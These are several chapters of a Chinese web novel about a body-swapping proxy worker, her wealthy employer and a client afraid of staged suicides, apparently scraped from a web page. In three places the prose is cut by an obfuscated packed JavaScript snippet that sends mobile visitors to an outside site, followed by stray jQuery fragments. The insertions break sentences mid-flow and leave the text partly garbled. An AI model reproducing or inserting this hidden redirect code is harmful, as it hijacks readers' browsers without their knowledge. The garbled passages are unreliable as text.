“是啊……”楚君茫然点头,面对周拾秋的质问,连他自己都变得不自信起来,唯恐得罪领导,赶紧补充,“其实这位客户没有指定设计师,不用总监亲自出马,刚才您看的另外八个项目中,有五位客户倒是希望总监能亲自负责。” 周拾秋急忙打断:“没事,就按我刚才说的办。” 她可不敢再自作主张改变庾林的选择了,谁知最后又会有什么倒霉事落到她头上,这种损人不利己的事,最好能免则免。 “哦,好,那我先回公司安排,后续细节稍后再跟您同步。” 楚君收拾好资料,独留下庾林打算接手的那一份,匆匆道别离开了套房60A。 等楚君走后,周拾秋向康管家讨了杯柠檬水,坐在岛台边慢吞吞地喝着,顺便有一句没一句地与康管家闲聊。 周拾秋:“庾木木今天怎么出门见客了?” 康管家:“不知道,也许是想试着回到正常的生活。” 周拾秋:“这么说还挺像,难怪庾木木最近怪怪的……” 康管家:“在我看来一切正常。” 周拾秋:“包括不分昼夜上山吹风?” 康管家:“倒是挺像庾先生生病前的风格,如果有什么心事,便一个人出去走走,有时候看看风景,心情便会好很多。” 听康管家提到庾林得心病前的生活,周拾秋才意识到一直忽略的一个问题——庾林的心病并非天生,而是源于五年前的某件事。 五年前的事,难道就是绑架案? 周拾秋向康管家求证:“庾木木的心病是五年前绑架案的后遗症?” 康管家神情落寞地摇了摇头:“庾先生自己都不知道究竟是怎么一回事,有关那时的事,也不愿意向任何人提起,所以很抱歉,我无法回答。” 要说那晚发生了什么事,别人不清楚,周拾秋却知情。 如果说庾林的心病是因为在当年绑架案中受了什么刺激,最终导致对异性产生心理排斥,那能对庾林造成心理阴影的是什么? “不会是我吧?” 一种毛骨悚然的想法,瞬间闪进周拾秋的脑海,让她起了一身鸡皮疙瘩。 突然一阵音乐响起,吓得周拾秋从椅子上一跃而起。那音乐持续响了好一会儿,经康管家提醒,她才发现那是手机铃声。 缓了缓神,找到手机,只见来电显示“最伟大的危代人”,周拾秋接起电话,对面传来冰冷的催促声。 显然,庾双和何文昊的事已经搞定了,庾林想回到身体,还需周拾秋提交委托任务完成申请。 等她回到自家客厅时,果然发现庾双和何文昊已经离开。 周拾秋又拿起手机,给庾林打了个电话,算是汇报意识交换期间的情况,还特别强调自己没有对楚君说任何改变庾林决定的话。 庾林调侃:“没想到乌鸦小姐还有学乖的一天。” 周拾秋懒得跟他斗嘴,转而问道:“你怎么主动接受女客户的定制预约了?突然克服心病了?” 庾林半开着玩笑说:“我总得为保镖小姐找点工作。” 听了这句话的周拾秋半点笑不出来,敢情庾林纯粹是没事找事,不想两百万白花罢了,为此他甚至愿意将自己置身危险之中。 “狠人!”周拾秋不得不为他竖起拇指,可对于消费者,她实在没底气抱怨什么,只能乖乖认命,然后调转话头,“你刚才怎么劝走你姐的?” 既然她刚才如实汇报了,自然也希望这种汇报是对等的,双向的。 庾林没有立即给出答案,反而谨慎地问道:“她跟你说什么了?” “嗯……”周拾秋思考了好一会儿,最终选择性回答,“怕你当小三。” 其实从庾双的话中可以感觉出,当小三似乎并不是庾双真正害怕的事,而守旧者的身份才是她最担心的事,更何况,庾林还有心病。 “我骂了她一顿,告诉她,我眼睛里只有钱,不养小三。”庾林语气平淡。 周拾秋闻言目瞪口呆,磕磕巴巴骂道:“你、你想害死我啊……这……你姐不会报警吧……把我跟郑常新打包处理掉……” 她承认自己爱钱,可这种话说给庾双听,那效果她不敢想。 自由区本就有流言,说庾林的母亲是为了钱才拼命嫁入庾家。庾林的话能说服庾双吗?难道不会担心她这个守旧者也为了钱不择手段,死拽着庾家这条大腿不放吗? 当周拾秋正为未来可能的遭遇焦虑时,电话那端传来轻笑声。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14980086|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 庾林:“假的,随便说说你就信了?我告诉她,我只做一个月秘书,她可以等一个月后再看要不要继续找我麻烦。” 就这? 周拾秋一时不好评价,这理由看似只是缓兵之计,但一个月后只要他俩不再联系了,也确实可以打消庾双的顾虑。 见周拾秋没有说话,庾林接着提醒:“还剩半个月,请乌鸦小姐努力工作!” “是是是,一定竭尽全力。”周拾秋无奈回应。 而庾林这句提醒也不是仅仅说说而已,周拾秋很快就真切感受到了庾林意图榨干她这个危代人剩余价值的决心。 当晚9点,周拾秋就被迫出现在了健身房中。 看样子应该是天宫酒店自备的健身房,专供贵宾使用,此刻整个健身房里就只有周拾秋一人。 她立马反应过来,庾林这是想“不劳而获”。虽然某种意义来说,也的确是庾林的身体在劳作,但受苦的准确来说是周拾秋。 周拾秋当即给庾林打去电话。 周拾秋:“爹,你真是活爹,咱伤势刚痊愈,能不能别为难自己,好好休息半个月?” 庾林:“保持自律不可懈怠。” 周拾秋:“没看出来啊,自律还让危代人代劳?” 庾林:“嗯,是我发现晚了。” 周拾秋:“这种习惯不好,别堕落!” 庾林:“说这种话的人怎么好像从来不动?这肚子上的肉,没少吃啊。” 周拾秋:“别乱摸……” 庾林:“去吧,做点有氧运动,跑步机慢跑半小时先。” 周拾秋:“……” 心里暗骂着“魔鬼”,周拾秋气呼呼地挂掉电话。一想到努力是自己的,身材却是别人的,周拾秋就觉得憋屈。可收钱办事,这就是打工人的无奈。 心里骂骂咧咧,身体却老实地往跑步机走去。 五六台排跑步机放置在落地窗前,一字排开,看着城市夜景慢跑还算惬意,只可惜,周拾秋并不是一个喜欢运动的人。 打开跑步机,调了最慢了速度,与其说是慢跑,不如说是慢走。周拾秋打算敷衍一下,随便打发打发时间就提交任务完成申请。 “有啥好练的,这身材不挺好的么?” 周拾秋嘴里嘀咕着,一掌拍上庾林的腰腹。今日手感格外不错,窗玻璃的倒影中,庾林穿着一身黑白灰三色搭配的运动服,衣服布料轻薄,手臂、胸腹、腿部……肌肉线条被完美勾勒出。 一时看傻了眼,一抹笑意下意识地浮上嘴角。 妈呀,这哪里是剥削?这根本就是员工福利嘛! 周拾秋忍不住掩嘴偷笑,心中的不悦感一扫而空,张望一圈,确定周围没人后,不好意思的笑已经是她最后的矜持。 对着窗玻璃摆上几个pose,再带着鉴赏的眼光,捏一捏身上肌肉,虽然像个变态,却也自得其乐。 这个委托不亏! 晃眼瞥见健身房电子宣传屏幕上的服务提示,居然还可以免费提供教练指导,周拾秋脑中立马涌入一个美妙的想法。 “一个人锻炼多无聊啊,嘿嘿,我一个新手小白,没教练从旁指导怎么行呢?” 说着暂停跑步机,周拾秋找到健身房中自带的服务操作平台,找到了教练指导页面,发现里面有好几位天宫酒店特聘健身教练可供选择。 周拾秋果断挑了一位最合眼缘的男教练,扬起的嘴角有些压不住。 这天晚上,周拾秋觉得,自己也不是那么讨厌运动了。 63. 第063章 这天晚上,周拾秋在健身房锻炼了两小时,她自己当然没怎么练,以伤势刚好为由,让教练帮忙定制了复建运动,所以运动量不大。 而且大多数时候,周拾秋都缠着教练,摆出一副萌新模样,向教练请教他平时都是如何保持身材的。 教练看着庾林那一身匀称的肌肉,满脸写着不信,以为周拾秋在故意拿他取乐。 周拾秋十分真诚地解释:“我这都是科技与狠活,跟教练不能比。” 然后教练便露出一副微妙的表情,似乎在说:“有钱人就是会玩儿。” 这样友好的互动一直持续了两小时,周拾秋本还乐此不疲,直到庾林实在等待不下去了,打了个电话过来催促。 一接通电话,庾林不耐烦的声音便从电话那端传了过来:“两小时前还满嘴不愿意,怎么这么久都没结束?你不会跑哪儿偷吃去了吧?赶紧换回来,你该睡了。” “什么偷吃,好好锻炼着呢!” 周拾秋被庾林说得一阵心虚,偷吃是偷吃,但不是庾林口中的偷吃。 挂掉电话后,周拾秋发现手机里还有一条未接来电信息,是个没有录入的号码,她全程沉迷健身,竟没留意到中途有电话打进来。 那号码不知为何,有些眼熟,一时又想不起在哪儿见过。 兴许是诈骗电话? 反正有关工作的电话一般都打给康管家,周拾秋就没多想,放下手机,送走教练,并跟教练约定,下次锻炼还找他指导。 教练脸上表情有些复杂,但对于客人的要求不敢当面扫兴,勉强笑着与周拾秋道了别。 等到教练走远了,周拾秋才在手环上提交了任务完成申请。而庾林意识回到身体后,会发现自己依然身处健身房,自然不会怀疑她这两个小时究竟是如何在摸鱼。 有了这样的应对手段后,周拾秋也不怕庾林今后天天要她当代练了。 回到房间,周拾秋发现自己双腿酸痛无比,就像是意识将运动后的疲劳带回了身体。她捶了捶大腿,肌肉的酸胀感异常真实。 一头雾水的周拾秋走出房间,敲响了隔壁齐绮的房门。 房间里传来齐绮有气无力的回应,拖鞋在地板上摩擦出要死不活的响声,过了一会儿,房门开启,门后是一张被疲惫占据的圆脸。 “庾先生,又干嘛,我真的走不动了,你没跑够就自己跑吧,我是不行了!我也不是你的协议危代人啊,能不能别连着我一起折腾……”齐绮双手合十,一脸无奈地求放过。 “琦琦,是我!庾木木找你麻烦了?”周拾秋顿时燃起怒火。 “啊,十秋,你可算回来了……”齐绮说着又拖着沉重的步伐,偏偏倒倒地挪回床边,一头栽进了被窝里,趴在床上幽声说道,“你一直不回来,庾先生没事找事,拉着我去夜跑,我真是服了。” 周拾秋一脸震惊,“他是不是有病啊,这么喜欢运动,干嘛还让我去代练?” 周拾秋走进房间,一只脚站立,一只脚弯曲后抬,手捏了捏小腿肉,显然突发奇想的运动,让她这基本不动的身子有些负担过重。 “不知道,理想者的心思看不懂。”齐绮眼神幽怨地看向周拾秋,“都怪你一直不回来,大概是在你房间等得无聊了吧。我本来不想去,他说你一个女孩子出去不安全,而且他不认路,哎,我只能勉强答应了。” “神金……他要是之后一直让我代练,我不成夜跑健将了……看来下回得在一小时内结束。”周拾秋小声念叨。 齐绮想到什么,又撑起身子,说:“夜跑的时候,庾先生跟我打听你的事来着。” 周拾秋一愣,警觉地问:“打听什么?” “开始也没什么,不过是闲聊,大多是打听我们守旧者平日都有什么娱乐,跟他们理想者有何不同。”齐绮边想边道,“可后来他突然提起五年前,问你以前是不是也借用过别人的账号当危代人。” 听到这句话,周拾秋心里咯噔一响。 庾林到底想打听什么?确认她是不是夜白鹭吗? 是啊,异能如此相似,连进研所都说异能值相同,怎么会是不相干的人呢?他确实应该很难相信。 可是,确认她是否是夜白鹭又打算干嘛呢?举报拿通缉奖励?庾林不是缺钱的人吧…… 再说,明面上,夜白鹭的真实身份是百泉,揪着她不放干嘛? 各种疑问在脑袋里打转,周拾秋皱起了眉头,“你怎么跟他说的?” 齐绮轻轻叹了一口气,重新躺回床上,“我怎么可能告诉他。我说那个时候我们还不认识,但如果你当初真用过别人账号,肯定会告诉我,既然你没说过,那肯定是没有,以我们的交情,你才不会瞒我呢。” “他信了?” “嗯,信啦。” 周拾秋松了一口气,冲齐绮竖起了拇指。 聊了一会儿天,周拾秋手机收到一条消息,又是庾林,内容是通知周拾秋明早到天宫酒店接他去拜访客户。 “哎,这破班什么时候才是个头……” 周拾秋随意回了一个“哦”字,然后将手机塞回衣兜,长长叹了一口气,嘴里嘀咕。 齐绮冲她微微一笑,做了个加油打气的手势,鼓励道:“最后半个月,很快就可以解放啦!” 周拾秋点了点头,向齐绮道了晚安,随即关上门,回到自己房间,为了明日早起,她得赶紧睡了。也许是运动带来的疲倦感,让她很快入睡,这一晚,她睡得格外沉。 翌日上午10点,周拾秋开着车,准时出现在天宫酒店门口。 庾林今日的打扮与平日差不多,却又让人觉得哪里不一样,就像是不露痕迹的精心打扮。周拾秋呆呆看了许久,终于意识到哪里不对劲,庾林居然没戴围巾和手套。 当真要回归正常生活了? 看着庾林在后座落座,周拾秋没敢多问,只是确认了目的地,便跟着导航出发了。 车里沉默了好一会儿,庾林才带着质疑开了口:“昨天2小时你在健身房睡着了?” “哪、哪有,别胡说,我、我可全程认真在运动。” 周拾秋有些心虚地瞥了一眼车内后视镜,一不小心对上庾林的视线,她又慌忙转移,不自觉地咽了咽口水。 “什么运动,2小时一点汗都没出?”庾林眼神犀利地盯着周拾秋的后脑勺。 眼部运动…… 周拾秋哪儿敢说实话,脑子飞速转动,强词夺理道:“你不懂,伤刚好不宜运动过度,我都做的康复运动,不伤身。” “哦?”庾林的尾音上扬,带着几分揶揄的味道,“乌鸦小姐平时动都不愿意动一下,还知道康复训练?” 周拾秋一愣,又不能说有健身教练指导,可能呵呵一笑,胡诌道:“不运动不代表没有常识,我不动是因为大多数时间都在做委托,用别人身体活动不算活动吗?” 庾林冷笑一声,不再跟她辩论,“可以,那今晚继续。” “好。”周拾秋回答干脆。 庾林眯着眼,用狐疑的眼神注视着周拾秋,“怎么突然变积极了?” “我本来就热爱工作啊。”周拾秋通过车内后视镜向庾林眨眨眼,摆出一脸天真的神情。 庾林小声咳嗽一声,迅速移开视线,看向窗外,不再理会周拾秋。 大约十多分钟后,周拾秋将车停在了一栋公寓楼下,他们要拜访的客人就住在这栋公寓楼里。 下了车,周拾秋远远看见楚君在公寓楼门前朝他们招手,拘谨与胆怯在多次与庾林接触后减轻了许多。 在楚君的带领下,周拾秋和庾林进入公寓楼。 上了电梯,楚君按下8楼按钮,随即带着些不安低声说道:“田女士,未婚,独居,住在805房间,人有些神经质,总监别太在意。” 看样子,此前楚君与这位田女士的沟通并没留下好印象,周拾秋已经预感到,这单生意恐怕没那么容易搞定。 电梯抵达8楼,楚君按响805房间的门铃,轻微的脚步声靠近,房门打开一条缝,一个消瘦的年轻女人从门缝里盯着屋外的人。 “您好,态宇仿生科技前来拜访,昨天跟您预约过时间。”楚君熟练地说出台词。 田女士的视线在门外三人身上依次扫过,在扫到周拾秋时,明显顿了一下,脸色倏然变得阴沉,带着敌意询问:“态宇怎么会有守旧者?” 楚君和气地解释:“这位是我们总监特聘的秘书,协助处理工作,也算是我们态宇的员 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“是。”楚君满脸赔笑,体面应对,“就是要求太宽泛了,更需要提前确定,否则可能导致方案您不满意,对吧?” 面对这样的回答,田女士微微皱起眉头,心中有些不满,却又不好发作,挥了挥手,催促他们想问什么赶紧问。 通过楚君与田女士的交流,周拾秋大概了解了这个项目究竟为何。 田女士的要求真的很简单,因为独居,她需要定制一个仿生人做保镖,对于仿生人,没有外型要求,只要身手好就行了。 楚君有些头疼,耐着性子说:“身手好这个定义太模糊,很难将主观准确转化为数值。” “很难吗?”田女士撇了他一眼,用手比划着,以一种抽象的方式描述着自己的需求,“就像游戏加点,把体力、敏捷、力量加满。” “噢……天赋拉满……明白……” 楚君只能无奈迎合,假装与田女士同频,并努力思考着该用怎样的语言向田女士解释,定制仿生人与玩游戏属于完全不同的领域,无法相提并论。 “明白就好,如果没有别的问题就请赶紧回去设计,我希望能尽快拿到成品。” 田女士不等楚君开口,便焦急地站起身,抬手示意他们离开,不经意间露出了手腕上的危机管理局通用手环。 从田女士的神情里,周拾秋看到了焦虑,她似乎很急,就像是有什么事威胁着她的安全,令她很是不安。 就在周拾秋疑惑于田女士究竟在焦虑何事时,庾林坐在沙发上没动,平静地扔出一个问题:“田女士,请问你定制仿生人保镖究竟是为了对付什么人?如果没有特别要求,完全可以不选择定制,市场上不乏保镖型仿生人的成品在售。” 庾林说的并无问题,自由区的仿生人并不只有定制型,也有贩卖各类功能型仿生人的公司,如果对外观性格等细节没有要求,可以选择直接按功能选购成品。 与定制仿生人相比,价格还更加优惠。 听田女士的要求描述,似乎直接购买具有保镖功能的仿生人更加合理。 楚君没考虑过那么多,自认只要客人找上门,他努力做好自己的工作就成。 如今听庾林提出质疑,他才恍然大悟。 不过,这种不合理对他来说问题不大,毕竟,有人钱多想花,他没道理拦着,还能增加自己的绩效,有何不可? 于是楚君站在客户的角度,帮田女士说话:“呵,态宇定制的质量更有保障嘛。” 田女士眉头紧锁,思考良久,才艰难开口:“普通仿生保镖还不够……我需要能防止我自杀的保镖……” 64. 第064章 “啊?防自杀?” 房间里,楚君一脸震惊地望着田女士,刚才替客户说的话仿佛成了笑话,他无比庆幸庾总监多问了一句。 这一声惊呼后,房间陷入诡异的沉默。 田女士双手交叠在身前,十指纠缠在一起,似乎有什么难言之隐。 楚君满腹疑问,遇上这种麻烦客户,他一个小职员根本无法下决定,眼珠在眼眶里来回平移,一会儿看看田女士,一会儿瞧瞧庾林,期盼二人能给点反应。 庾林始终盯着田女士,他能看出田女士心中的恐惧,却看不清那恐惧源头的身影,只有一点可以明确,造成田女士如此惊慌的原因或许与最近的自杀案有关。 周拾秋一脸错愕,听到“自杀”二字,她条件反射般想到了最近的连环凶案。 莫非田女士也被那些进化者盯上了? 她无法觉察到田女士身上是否有异能残留,因此也无从判断田女士是否遇到过进化者。 她的感觉并没有那么准确,大多时候是靠直觉感受进化者自身的异能,无法做到像施煦那样,仅凭强化的嗅觉,便可分辨异能残留。 见谁也不说话,周拾秋终于忍不住开了口:“请问,你最近遇到过进化者吗?” 既然不知道,那就直接问得了。 田女士陡然一愣,带着心底的疑惑,语气轻慢:“我干嘛要遇到进化者?” 周拾秋顿时被噎住,余光瞥见庾林扫了她一眼,才回想起外界尚不清楚连环凶案与进化者有关。 “呵呵,这世上除了进化者,还有人能逼你自杀吗?”周拾秋尴尬地笑了两声,只想赶紧将话题揭过。 “哼,愚昧。”田女士轻蔑地嘀咕了一声,不再搭理周拾秋,转向其余两人,“最近自由区不太平,我总得有所防备。” 田女士说着伸手摸了摸手腕上的手环,担忧的神色在脸上愈发浓烈,特别当她斜眼瞥向周拾秋时,那种焦虑达到了峰值。 从田女士的眼中,庾林看到了几张陌生的脸,和对死亡的恐惧,自我保护的欲望充斥其中。 “田女士,为了设计出符合要求的仿生人,我们必须了解你的想法,否则这单生意我们接不了。”庾林晓之以理。 “呃……怎么这么麻烦,不能把你们能想到的数值调到最高吗?” 田女士说话时,又下意识看了一眼周拾秋。很明显,她有所顾虑,并不愿意将真实想法和盘托出。 庾林终于明白她的顾虑究竟为何,于是站起身道:“你的情况可以向楚君说明,他会根据情况判断,制定问卷调查,最后我根据问卷调查收集数据设计方案,可以吗?” 田女士内心挣扎片刻,思虑再三,终是妥协一般点点头。 随即,庾林俯身凑近楚君耳边,低声说了句什么,听楚君顺从地回了一声“好”,他就径直告辞,招呼周拾秋离开房间。 周拾秋满心好奇,本不愿意就此离开,可庾林的态度很坚决,她这个名义上的秘书,又是外行,没资格对庾林的生意指手画脚,只能闷声跟上。 感觉这一趟白跑,起身后,周拾秋不甘心地将面前那杯可乐一口饮尽,然后带着遗憾告辞离场。 在前往车位的路上,庾林表情平淡,不发一言,就像对客户的私事毫无兴趣一样。 “你不觉得亏吗?”周拾秋忍不住嘟囔。 庾林转头看了她一眼,嘴角微扬:“哪里亏了?” “跑这么远,屁股都没坐热,刚听了个响,就离开了……不是纯浪费时间嘛,还不如一开始就让小楚一个人忙活呐。” 周拾秋双手交叉环在胸前,一脸郁闷,嘴里嘀咕个不停。 正要走进电梯,一阵熟悉的铃声响起,周拾秋停下脚步,拿出手机,发现来电人是楚君。 周拾秋下意识探头回望楼道,嘴里发出疑问:“咦?不是要跟田女士聊业务吗?这么快结束了?” 805房间的房门并没有打开,更没看见楚君的身影,冷清的楼道里只有冷风刮过,一片寂静。 一只手突然从侧面伸到她面前,一把夺过手机,周拾秋的视线从楼道撤回,追寻着手机看去,只见庾林神情淡漠地在屏幕上轻轻一划,接通了电话。 他的动作太过自然,就像一早就知道楚君会打电话似的。 庾林接通电话后,开了免提,却一句话都不说,周拾秋正欲开口询问缘由,便被庾林捂住了嘴。 周拾秋一脸疑惑地抬眼望向庾林的脸,对方刚轻轻摇了摇头,手机里就隐隐传出谈话声,声音仿佛蒙上了一层布,带着点模糊,谈话的内容却完整又清晰地落入二人耳中。 田女士:“也不是我不愿意说,谁知道你们态宇还能雇守旧者。” 楚君:“呵呵,一般情况不会……您担忧的事与守旧者有关吗?” 田女士:“啧,你没听说吗?最近几起自杀案,背后的真相皆是守旧者谋财害命!” 听到这里,周拾秋不禁面露苦涩。 果然网上舆论的发酵还是有破坏性,这不就有人成了信徒么? 不过,像田女士这般深信不疑的案例还是挺让周拾秋意外。 楚君:“哦,你说的是昨天网上的爆料吧?我也看了,怎么说呢,还是等警方通报吧,现在不还在调查阶段吗?” 楚君的回答一如既往官方,不否定,也不认同。 可接下来田女士的音量陡然提高,尖锐的吼声吓得周拾秋浑身一抖,不小心撞上庾林的手,手机差点被撞掉。 田女士:“不止爆料,我亲眼看见了!” 突如其来的一句话,让楼梯间靠墙站立的两人疑心对视。 “她难道……” 周拾秋忍不住用微弱的声音开了口,可话刚开了个头,就看见庾林手指抵在两瓣唇上,示意她继续听下去。于是她只能暂时按下心中疑惑,捂住嘴继续侧耳倾听。 楚君:“您看到凶手了?” 田女士:“至少是害死我朋友的凶手!” 楚君:“那你告诉警方了吗?” 田女士:“说了,当然说了!那些警察也抓他问了话,最后却把他放了,该死,他肯定收买警方了!” 楚君:“呃……田女士,您先冷静点,警方可能是掌握了什么线索,因此确定您说的那人不是凶手……” 田女士:“我亲眼看见了,怎么可能不是他!那些手段卑劣的守旧者,为了钱,什么事做不出?警察说那天他有不在场证明,可我分明看见了……他进了我朋友住的大楼……” 电话那端,田女士以极其不稳定的情绪向楚君诉说了许多,从她破碎的语言中,周拾秋勉强抓住了整个事件的始末。 田女士有一位女性朋友,名叫叶姝,是瑞波恩科技的VIP客户,与一名叫常华的危代人签订了私危协议。 或许是长期的委托帮助,让叶姝与常华的关系变得越来越好,甚至从危机管理局走进了现实。 叶姝不止一次约常华到自由区吃饭,其中有几次田女士也在场,所以便记住了这个与自由区格格不入的守旧者。 田女士数次劝说,希望叶姝不要和守旧者走太近,因为对守旧者的刻板印象, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14989997|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她担心常华的接近会有目的,特别最近离奇的自杀案件频发后,更是加剧了这种担忧。 叶姝很有钱,常华会不会为了钱做出什么伤害叶姝的事情呢? 在这种想法的驱使下,田女士格外关注自己的朋友。 而叶姝“自杀”的晚上,田女士刚见过叶姝,叶姝表现一切正常,唯一令她不解的是叶姝说自己前一天签订了遗产继承协议。 因为这事,二人大吵了一架。 后来她送喝醉的叶姝回了家后,在开车离开时,无意中看到常华进了大楼,当时她以为叶姝又偷偷约常华见面了,一气之下没多想,径直回了家。 然后第二天便接到了朋友自杀的噩耗。 她敢肯定,叶姝不可能自杀,而刚签了遗产继承协议,叶姝就出事了,常华绝对脱不了干系。 于是她将证言提供给了警方。 可惜,常华在被抓到警局进行审问后,没过多久就被释放了。 经常华交代,当晚他一直与同伴在酒吧里,有许多人可以为他作证。警方调查后,亦证实了这种说法。 除此以外,常华不承认自己诱导叶姝签订任何补充协议。 当晚他没踏出过禁仿区,唯一见叶姝一面,是因为紧急委托,他出现在叶姝身体时,经历了死亡过程,这让他的精神一直恍惚迷离。 他不明白叶姝为何会自杀,也不知道为何叶姝要将全部遗产留给他。 这样的解释,田女士并不能接受,她甚至开始觉得警方也靠不住。 田女士:“守旧者正在借着危机管理局的漏洞,疯狂杀害理想者,我只能自救,你明白吗?我不知道他们用了什么办法,可以将现场伪装成自杀,或者可以给委托人们洗脑,让大家在无意识的情况下做出伤害自己的行为,我必须制止,你懂吗?” 略微癫狂的吼叫声从手机里传出,令周拾秋和庾林面面相觑,除了震惊,一时不知作何感想。 电话那头的楚君同样不知如何劝导,只好一码归一码,单把自己力所能及的工作完成就行。 楚君:“明白了,既然是要防止自杀和贴身保护,那我随后发一封定制调查问卷给您,请您认真填写。问卷主要是关于您行为模式常态的一些问题,以此来设计能够迅速分析出您状态异常,并及时出手干预异常行为的仿生人。” 通话到此终止,手机同时退出了通话状态,庾林将手机递还给周拾秋,然后按下了电梯下行键。 一直到回到车里,周拾秋才回过神。 这一切太荒谬了,为何会有人真觉得守旧者能为了钱杀人?还是杀与自己绑定在一起的委托人…… 协议委托人一旦遭遇生命危险,会被动触发里人格切换,杀死委托人,受苦的却是自己,真的值得吗? 那种生命流逝的真切感受,还有对死亡的恐惧会一辈子留在意识中,挥之不去。 “警方都说常华有不在场证明了,田女士怎么可能看到常华出现在自由区?”周拾秋基于警方调查的证据,提出质疑。 “田女士没有撒谎。”庾林平静地说。 他从田女士眼中分明看到了一个男人走进大楼的画面,如果不是强烈的情绪,这个画面不会清晰地显现出来。 这种情绪是无以名状的恐惧,也是无力改变的悔恨。它们充斥在画面中,压得田女士喘不过气。 这不是编造的记忆能够达到的水平。 见庾林回得信誓旦旦,周拾秋心中突然生出一种想法,如果他们谁都没有撒谎,那只有一种情况能实现——田女士看见的是进化者。 65. 第065章 当想到这一层时,一股莫名的心惊迅速蔓延。 百泉,不知为何这个名字出现在周拾秋脑海中,或许因为百泉的异能是身体改变。 她犹记得夜白鹭开始被通缉的那一天,百泉在她面前变成了一个完全陌生的男人,不止样貌、体型,甚至连声音都彻底改变。 对于百泉的异能,那是她第一次,也是最后一次见识,从那之后,百泉彻底从她的世界消失。 有时她甚至会怀疑,与她相处的那几年,又是否是百泉原本的样子呢? 一想到百泉可能出现在凶杀案中,周拾秋心头一紧,拼命摇了摇头,试图安慰自己:也许只是异能相似罢了。 “怎么了?” 看着一会儿发呆一会儿摇头晃脑的周拾秋,庾林低声问道。 “啊,没事。”周拾秋的思绪被打断,眼神慌乱得不知往哪儿放,赶紧发动车子,故作镇定地解释,“你知道进化者分三类吧?” 庾林有些摸不准周拾秋想说什么,带着疑惑点了点头,轻轻哼出一个音:“嗯。” 众所周知,进化者的异能按照能力强弱分为三类: 强化系进化者,属于低阶进化者,身体部分机能得到强化。比如拥有惊人嗅觉的施煦。 变异系进化者,属于中阶进化者,通常拥有改变自身的异能。比如可易容变形的百泉。 控制系进化者,属于高阶进化者,可依靠异能影响他人。比如能控制意识的周拾秋。 这是大众普遍认知的分类,但外界似乎并不知晓,在这个分类基础上,还有一种极为特殊的进化者,他们拥有主副两种异能。 这件事是周拾秋与百泉一起研究挖掘她的异能时发现的。 周拾秋之所以强大,不止因为她拥有控制系异能,还因为她拥有两种截然不同的异能,主异能为意识控制,副异能为读心。 可惜,五年前,她的副异能随诅咒一起消失了。 似乎进研所至今没抓住过这样的案例,因此这种说法并没有获得官方证实,普遍流通的分类依然是那三类。 “田女士说的案子,如果有变异系进化者参与其中,是不是就很好理解了?” 周拾秋并没有明说自己的想法,百泉这个名字如今与夜白鹭捆绑在一起,而夜白鹭是公认的控制系进化者,两者相悖。 “的确没错,那变异系进化者能做什么?”庾林问。 “比如,改变样貌什么的。”周拾秋意有所指。 “哦。”庾林回应冷淡,“但案子跟我们没什么关系,既然知道田女士的恐惧源自臆想和敏感,那设计方案就有方向了。” 这个话题被庾林瞬间终结,在他眼中似乎只有生意。 周拾秋也不好在这个话题上继续纠结,只得闭上嘴,可心里却对这个连环凶案更加在意了。 莫非百泉也参与其中? 不会吧,百泉不是这样的人,如此疯狂…… 也许只是相似的异能? 脑子里混乱一片,周拾秋安静地开车返回酒店。 异常的安静反倒勾起庾林的好奇心,“又在胡思乱想什么?今晚继续健身,免得又失眠。”他微微抬眼,用揶揄的口气下着命令。 周拾秋斜睨一眼,嘴里嘟囔:“啧,把偷懒说得这么清新脱俗,庾总监真是人才!” “这么不情愿就算……” “愿意,我没说不愿意啊,多谢庾总监好意!” 庾林话未说完,就被周拾秋打断,他莫名感觉周拾秋态度怪怪的,本想看看周拾秋在想什么,可周拾秋明显视线闪躲。 隐约看到眼中情绪,却是对健壮躯体的垂涎欲滴,令他不忍直视,耳根有些发烫,他立马转移了视线,将窗户打开一条缝,想让冷风吹散眼前的画面。 他盯着窗外急速后退的风景,下意识伸手到脸旁,手指扑了个空,才想起今日未戴围巾。 尴尬地缩回手,他小心瞥了一眼前方,确定周拾秋的注意力不在他身上,才安下心,声音有些不自然地问道: “你、你没做什么奇怪的事吧?” 周拾秋闻言陡然紧张起来,心虚地否认道:“什、什么奇怪的事,我是那样的人吗?” “哪样的人?”庾林反问。 这一问,把周拾秋问得一愣,含糊其辞道:“反正肯定不是你想的那种人。” “咳,我什么也没想。”庾林一句话撇清,赶紧转移话题,故作淡定地提醒一句,“认真锻炼,一小时结束,早点睡,明早9点来接我去公司。” “哦……”周拾秋拉长了尾音,对明早还要早起有些反感,“庾总监突然开始营造敬业人设了?” 庾林回怼:“敬业是常态,我只是不常去公司罢了。” 周拾秋:“那现在怎么想去了?” 庾林:“总得让伟大的危代人有点事做。” 周拾秋:“……庾总监有心了,谢谢……” 庾林:“不用谢。” 周拾秋有些想骂人,可想想还有福利可以安慰自己,便忍了。 将庾林送回酒店后再返回禁仿区,已经快下午1点了。 在附近随便吃了碗面凑合一顿,周拾秋回到花店。花店里有几位客人在挑选花束,她便帮忙招呼。 等送走了客人,周拾秋就溜回楼上,坐在电脑前,登录了危机管理局。 在公告栏里寻了一圈,终于翻到六天前的封号处罚通知。 